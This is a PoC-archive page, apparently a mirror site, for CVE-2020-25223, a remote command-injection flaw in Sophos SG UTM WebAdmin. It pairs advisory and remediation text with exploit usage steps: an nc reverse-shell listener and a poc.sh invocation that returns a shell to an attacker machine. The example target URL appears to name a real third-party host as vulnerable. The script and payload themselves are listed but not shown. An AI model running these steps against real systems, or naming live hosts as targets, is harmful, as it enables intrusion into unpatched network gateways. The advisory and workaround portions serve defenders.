Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-25223 PoC — Sophos SG UTM 操作系统命令注入漏洞

Source
Associated Vulnerability
Title:Sophos SG UTM 操作系统命令注入漏洞 (CVE-2020-25223)
Description:Sophos SG UTM是英国Sophos的一款安全网关。该产品用于保护局域网内的计算机节点。 Sophos SG UTM WebAdmin 存在操作系统命令注入漏洞,攻击者可利用该漏洞远程执行代码,以下产品及版本受到影响:v9.705 MR5版本, v9.607 MR7版本, v9.511 MR11版本。
Readme
# About

## Overview
A remote code execution vulnerability in the WebAdmin of SG UTM was discovered and responsibly disclosed to Sophos in 2020. It was reported via the Sophos bug bounty program by an external security researcher. The vulnerability was fixed in September 2020.

Devices that have not been updated in the last year and still have WebAdmin exposed to the WAN are vulnerable. Check this Knowledge Base Article for additional information to determine if a device has been compromised and how to remediate.

## Applies to the following Sophos product(s) and version(s)
Sophos SG UTM

## Remediation
Fix included in SG UTM v9.705 MR5, v9.607 MR7, and v9.511 MR11 on September 17, 2020
Users of older versions of SG UTM are required to upgrade to receive this fix
Additionally, Sophos recommends that SG UTM customers upgrade to the latest available release.

## Workaround
Customers can protect themselves by ensuring their WebAdmin is not exposed to WAN.

This can be achieved by keeping Internal (LAN) (Network) or another internal-only network definition as the sole entry in Management→WebAdmin Settings→WebAdmin Access Configuration→Allowed Networks.

## Related information
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25223


# POC

Run reverse shell listener:

```bash
nc -l local_port
```

Then run POC:

```bash
bash poc.sh remote_url local_ip local_port
```

* _remote_url_ is vulnerable remote php script, e.g. `https://survey.funx.vn:443/var`
* _local_ip_ is an attacker machine IP 
* _local_port_ is an attacker machine port

If the exploit succeeds, you'll get the shell.
File Snapshot

[4.0K] /data/pocs/8f6c7691b4bcb9b3141c68f7055af244619e64ba ├── [ 39K] payload.bin ├── [ 593] poc.sh └── [1.6K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.